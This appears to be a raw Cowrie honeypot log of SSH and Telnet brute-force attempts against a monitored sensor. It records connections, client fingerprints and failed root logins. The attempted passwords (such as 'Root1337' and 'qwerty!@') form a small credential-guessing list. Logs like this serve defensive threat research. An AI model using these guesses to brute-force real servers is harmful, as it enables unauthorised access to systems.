{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":49330,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3116d0220d6","protocol":"ssh","message":"New connection: 186.4.240.226:49330 (159.203.135.109:22) [session: b3116d0220d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:26.341200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:26.345637Z","src_ip":"186.4.240.226","session":"b3116d0220d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:26.430489Z","src_ip":"186.4.240.226","session":"b3116d0220d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romeo","message":"login attempt [root/romeo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:26.800795Z","src_ip":"186.4.240.226","session":"b3116d0220d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:27.888479Z","src_ip":"186.4.240.226","session":"b3116d0220d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.262980461120605,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:35.078744Z","src_ip":"192.119.13.58","session":"54392d21e0a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57408,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6c4702b7356","protocol":"telnet","message":"New connection: 192.119.13.58:57408 (10.17.0.5:23) [session: c6c4702b7356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:37.978758Z"}
{"eventid":"cowrie.session.closed","duration":40.52653241157532,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:45.570465Z","src_ip":"192.119.13.58","session":"40d52e9da85a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f39d4f149d","protocol":"telnet","message":"New connection: 192.119.13.58:54296 (10.17.0.5:23) [session: f3f39d4f149d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:51.564678Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":55106,"dst_ip":"159.203.135.109","dst_port":22,"session":"4435eb74358c","protocol":"ssh","message":"New connection: 170.106.188.200:55106 (159.203.135.109:22) [session: 4435eb74358c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:57.320863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:57.329603Z","src_ip":"170.106.188.200","session":"4435eb74358c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:57.397890Z","src_ip":"170.106.188.200","session":"4435eb74358c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Qwerty","message":"login attempt [root/123456@Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:57.702410Z","src_ip":"170.106.188.200","session":"4435eb74358c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.76831769943237,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:57.868343Z","src_ip":"192.119.13.58","session":"2321759451f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:58.773914Z","src_ip":"170.106.188.200","session":"4435eb74358c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38194,"dst_ip":"10.17.0.5","dst_port":23,"session":"834a6426e6d4","protocol":"telnet","message":"New connection: 192.119.13.58:38194 (10.17.0.5:23) [session: 834a6426e6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:08.879160Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":34798,"dst_ip":"159.203.135.109","dst_port":22,"session":"57051ae4a30f","protocol":"ssh","message":"New connection: 103.101.216.219:34798 (159.203.135.109:22) [session: 57051ae4a30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:10.648089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:10.652767Z","src_ip":"103.101.216.219","session":"57051ae4a30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:10.891507Z","src_ip":"103.101.216.219","session":"57051ae4a30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traffic","message":"login attempt [root/traffic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:11.877839Z","src_ip":"103.101.216.219","session":"57051ae4a30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:13.120331Z","src_ip":"103.101.216.219","session":"57051ae4a30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.732438802719116,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:26.711063Z","src_ip":"192.119.13.58","session":"c6c4702b7356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.20714521408081,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:30.771717Z","src_ip":"192.119.13.58","session":"f3f39d4f149d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45922,"dst_ip":"159.203.135.109","dst_port":22,"session":"159e24151d9a","protocol":"ssh","message":"New connection: 103.27.238.116:45922 (159.203.135.109:22) [session: 159e24151d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:36.094633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:36.098395Z","src_ip":"103.27.238.116","session":"159e24151d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:36.363855Z","src_ip":"103.27.238.116","session":"159e24151d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nataha","message":"login attempt [root/nataha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:37.167531Z","src_ip":"103.27.238.116","session":"159e24151d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:38.436244Z","src_ip":"103.27.238.116","session":"159e24151d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34430,"dst_ip":"10.17.0.5","dst_port":23,"session":"16e6b7291e70","protocol":"telnet","message":"New connection: 192.119.13.58:34430 (10.17.0.5:23) [session: 16e6b7291e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:45.300521Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":55274,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f8386cdcb9","protocol":"ssh","message":"New connection: 186.4.240.226:55274 (159.203.135.109:22) [session: 51f8386cdcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:45.924919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:45.929476Z","src_ip":"186.4.240.226","session":"51f8386cdcb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:46.022113Z","src_ip":"186.4.240.226","session":"51f8386cdcb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1337","message":"login attempt [root/Root1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:46.413235Z","src_ip":"186.4.240.226","session":"51f8386cdcb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":43872,"dst_ip":"159.203.135.109","dst_port":23,"session":"c32700c29ecf","protocol":"telnet","message":"New connection: 186.195.16.41:43872 (159.203.135.109:23) [session: c32700c29ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:46.892524Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47258,"dst_ip":"10.17.0.5","dst_port":23,"session":"864204ff4bd7","protocol":"telnet","message":"New connection: 192.119.13.58:47258 (10.17.0.5:23) [session: 864204ff4bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:47.416347Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:47.508317Z","src_ip":"186.4.240.226","session":"51f8386cdcb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9024102687835693,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:50.794765Z","src_ip":"186.195.16.41","session":"c32700c29ecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.75291466712952,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:51.631936Z","src_ip":"192.119.13.58","session":"834a6426e6d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39032,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff75e267234e","protocol":"telnet","message":"New connection: 192.119.13.58:39032 (10.17.0.5:23) [session: ff75e267234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:08:59.464321Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44262,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf770afa6979","protocol":"telnet","message":"New connection: 192.119.13.58:44262 (10.17.0.5:23) [session: cf770afa6979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:08.151623Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":38662,"dst_ip":"159.203.135.109","dst_port":22,"session":"fca55225b8e1","protocol":"ssh","message":"New connection: 170.106.188.200:38662 (159.203.135.109:22) [session: fca55225b8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:08.390655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:08.397512Z","src_ip":"170.106.188.200","session":"fca55225b8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:08.473101Z","src_ip":"170.106.188.200","session":"fca55225b8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!@","message":"login attempt [root/qwerty!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:08.781820Z","src_ip":"170.106.188.200","session":"fca55225b8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:09.857338Z","src_ip":"170.106.188.200","session":"fca55225b8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39306,"dst_ip":"10.17.0.5","dst_port":23,"session":"beb47633b3f0","protocol":"telnet","message":"New connection: 192.119.13.58:39306 (10.17.0.5:23) [session: beb47633b3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:14.305947Z"}
{"eventid":"cowrie.session.closed","duration":0.006345987319946289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:14.312135Z","src_ip":"192.119.13.58","session":"beb47633b3f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50204,"dst_ip":"10.17.0.5","dst_port":23,"session":"76aaa2ec1f5e","protocol":"telnet","message":"New connection: 192.119.13.58:50204 (10.17.0.5:23) [session: 76aaa2ec1f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:17.011281Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"7adfcee333c1","protocol":"telnet","message":"New connection: 192.119.13.58:57996 (10.17.0.5:23) [session: 7adfcee333c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:19.144114Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55420,"dst_ip":"10.17.0.5","dst_port":23,"session":"2479fc132525","protocol":"telnet","message":"New connection: 192.119.13.58:55420 (10.17.0.5:23) [session: 2479fc132525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:25.498777Z"}
{"eventid":"cowrie.session.closed","duration":31.00407314300537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:30.468246Z","src_ip":"192.119.13.58","session":"ff75e267234e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.77867031097412,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:32.079106Z","src_ip":"192.119.13.58","session":"16e6b7291e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.84284567832947,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:35.259111Z","src_ip":"192.119.13.58","session":"864204ff4bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":52521,"dst_ip":"159.203.135.109","dst_port":22,"session":"991a14e7cbac","protocol":"ssh","message":"New connection: 103.219.170.37:52521 (159.203.135.109:22) [session: 991a14e7cbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:40.619734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:09:40.624865Z","src_ip":"103.219.170.37","session":"991a14e7cbac","protocol":"ssh"}
